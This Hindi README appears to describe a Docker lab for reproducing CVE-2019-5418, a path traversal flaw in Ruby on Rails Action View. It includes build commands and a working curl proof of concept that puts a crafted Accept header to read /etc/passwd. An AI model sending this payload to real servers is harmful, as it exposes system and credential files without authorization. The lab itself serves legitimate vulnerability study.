
CVE-2019-5418 Ruby on Rails पथ ट्रैवर्सल एक्सप्लॉइट के लिए Docker-आधारित प्रयोगशाला वातावरण, क्राफ्टेड Accept हेडर के माध्यम से मनमाना सर्वर फ़ाइलें पढ़ने के लिए PoC curl कमांड के साथ।
यह प्रोजेक्ट Ruby on Rails की लोकल फ़ाइल इंक्लूज़न भेद्यता (CVE-2019-5418) का अभ्यास और पुनरुत्पादन करने के लिए एक वातावरण है।
यह भेद्यता Accept हेडर के माध्यम से पाथ ट्रैवर्सल द्वारा सर्वर के अंदर की किसी भी फ़ाइल को पढ़ने की अनुमति देती है।
रूबी ऑन रेल्स (Ruby on Rails) एक वेब एप्लिकेशन फ्रेमवर्क है जो डेवलपर्स को तेज़ी से और आसानी से वेब एप्लिकेशन बनाने में सक्षम बनाता है।
Ruby on Rails एक्शन व्यू <5.2.2.1, <5.1.6.2, <5.0.7.2, <4.2.11.1 और v3 में लोकल फ़ाइल इंक्लूज़न भेद्यता मौजूद है।
जब render file का उपयोग किसी कंट्रोलर में एप्लिकेशन के बाहर से व्यू को रेंडर करने के लिए किया जाता है, तो Rails उपयोगकर्ता द्वारा प्रदान किए गए Accept हेडर के आधार पर फ़ाइल का स्थान निर्धारित करता है। मान के साथ Accept हेडर भेजे जाने पर, जैसे Accept: ../../../../../../../../etc/passwd{{, हमलावर पाथ ट्रैवर्सल भेद्यता का शोषण करके किसी भी फ़ाइल को पढ़ सकता है।
Ruby on Rails 5.2.2 को संकलित और प्रारंभ करने के लिए निम्नलिखित कमांड चलाएँ।
docker compose build
docker compose up -d
सर्वर प्रारंभ होने के बाद http://your-ip:3000 पर जाकर Ruby on Rails पेज देखा जा सकता है।

curl -H "Accept: ../../../../../../etc/passwd{{" http://localhost:3000/robots

Accept हेडर के माध्यम से सर्वर के अंदर की किसी भी फ़ाइल को सफलतापूर्वक पढ़ लिया गया।